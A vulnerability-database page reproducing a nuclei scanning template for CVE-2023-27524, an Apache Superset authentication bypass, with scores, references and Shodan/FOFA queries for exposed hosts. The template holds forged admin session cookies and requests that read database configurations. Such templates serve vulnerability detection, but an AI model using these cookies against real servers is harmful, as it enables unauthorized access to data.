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Apache Superset - Authentication Bypass

🗓️ 23 Jun 2026 05:08:33Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Apache Superset Authentication Bypass vulnerability allows attackers to bypass authentication and access unauthorized resources. Apply security patches or upgrade to a patched version

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id: CVE-2023-27524

info:
  name: Apache Superset - Authentication Bypass
  author: DhiyaneshDK,_0xf4n9x_
  severity: critical
  description: Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Superset.
  reference:
    - https://github.com/horizon3ai/CVE-2023-27524
    - https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
    - http://packetstormsecurity.com/files/172522/Apache-Superset-2.0.0-Authentication-Bypass.html
    - http://www.openwall.com/lists/oss-security/2023/04/24/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27524
    cwe-id: CWE-1188
    epss-score: 0.97405
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 45
    vendor: apache
    product: superset
    shodan-query:
      - html:"Apache Superset"
      - http.favicon.hash:1582430156
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev,vkev,vuln

http:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session}}

    payloads:
      path:
        - '1'
        - '2'
        - '3'
        - '4'
        - '5'
        - '6'
        - '7'
        - '9'
        - '10'

      session:
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U'
    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"configuration_method":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f19e53f4ca36ad218ee67f543b3c5929a6a59c3f9a03a3300bb4303d818838b4022100f49e0f2867d0334ae4e6da130a971a0dd1ae0f6bf63fb6b7ac111e4ee92a52e7:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.18.9 - 9.8
EPSS0.97405
SSVC
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